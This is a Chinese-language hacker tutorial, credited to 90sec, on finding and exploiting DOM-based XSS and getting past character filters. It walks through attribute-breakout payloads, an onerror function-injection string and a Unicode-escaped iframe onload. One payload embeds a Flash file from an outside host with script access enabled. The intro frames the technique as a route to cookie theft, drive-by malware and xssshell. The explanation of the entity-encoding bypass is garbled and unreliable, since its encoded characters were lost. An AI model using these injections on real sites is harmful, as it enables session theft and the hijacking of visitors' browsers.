點評:Xss的危害各位小牛 大牛們都意識到瞭Xss開始的csrf和掛馬 到盜cookies和ajax 到xssshell 還有各種利用….
Xss的危害各位小牛 大牛們都意識到瞭Xss開始的csrf和掛馬 到盜cookies和ajax 到xssshell 還有各種利用….
我們一般找到的都是大多數都停留在找直接輸入輸出上,這類型的一般很容易被過濾。
隱蔽型的就是DOM xss瞭.
也就是不是直接輸出的,
換句話話說,輸出內容,在源代碼裡看不到.
比如你這裡這個的話, 你右鍵,查看源代碼的話 內容都是直接可以看到的這種就是直接 輸入輸出的
這個就是直接輸出類型
對於查找DOM XSS的基本方法:
一般是這樣的, 先發一個正常的內容,
然後F12打開調試工具(火狐Firebug插件);
定位到你發的內容上,調試工具裡,有一個箭頭,可以選擇網頁裡指定的位置的.
然後看你發送的內容裡 有沒有什麼隱藏的屬性 或自定義屬性
哦 通常的情況是<a href="xxx" title="你輸入的某句話">xxxxxxx</a>
而且,“你輸入的某句話” ,你直接查看源代碼是看不到的
換句話說, <a href="xxx" title="你輸入的某句話">xxxxxxx</a> 這個 是被動態產生的
這個時候,就有潛在的問題來瞭。 如果 “你輸入的某句話” 寫為xxxxxxxxx"><img><"
會變成<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
就會插入一個HTML標簽進去瞭
但是 實際情況下," , > 都是被過濾的(到瞭這裡一般的黑友會說轉義瞭過濾瞭啊沒得突破瞭-_-我曾經也是這樣)
你輸入的某句話 寫為
xxxxxxxxx"><img><"
由於是動態產生的 最後" 會自動變為" 大傢覺得很奇怪吧等下解釋
>—> >
< —-> <所以最後效果還是<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a> (而且很多程序員,沒有過濾& )
下面我們本地測試下
復制代碼代碼如下:
<div id=”m”>x</div>
<script>
var x=”內容”;
document.getElementById(“m”).innerHTML=x;
</script>
內容就是我們輸入的內容如<script> <iframe>各種標簽= =,這些在一般網站輸入都被過濾瞭的 對< ‘ ">等等各種轉義瞭的話,我們突破就很難.
測試一下
復制代碼代碼如下:
<script>
function test(n){
alert(n);}
</script> www.jb51.net
<img src=”1″ onerror=”test(‘gainover’)”></img>
<img src=”1″ onerror=”test(‘gainover');+function(){alert(/xx/)}()//’)”></img>'
一個編碼列子再給大傢寫個列子
復制代碼代碼如下:
<div id=”y”></div>
<img id=”x” class=”audio” src=”xxxx” border=”0″ alt=”mp3;http://xsst.sinaapp.com/Xss.swf"><embed src="http://xsst.sinaapp.com/Xss.swf"type="application/x-shockwave-flash"allowscriptaccess="always"><#.mp3″></p> <script>
document.getElementById(“y”).innerHTML=document.getElementById(“x”).alt;
</script>xxx.innerHTML= yyy.
某個屬性- -成功編碼繞過("="=')編碼問題不是我開發的別問我瞭-_-~!
我們還可以這樣來測試下
復制代碼代碼如下:
<div id=”m”>x</div>
<script>
var x=”\u003ciframe onload=alert(1)\u003e”;
document.getElementById(“m”).innerHTML=x;
</script>
Unicode字符列表:http://zh.wikipedia.org/wiki/Unicode%E5%AD%97%E7%AC%A6%E5%88%97%E8%A1%A8
Xss安全測試字符轉換工具:http://app.baidu.com/app/enter?appid=280383
作者 90sec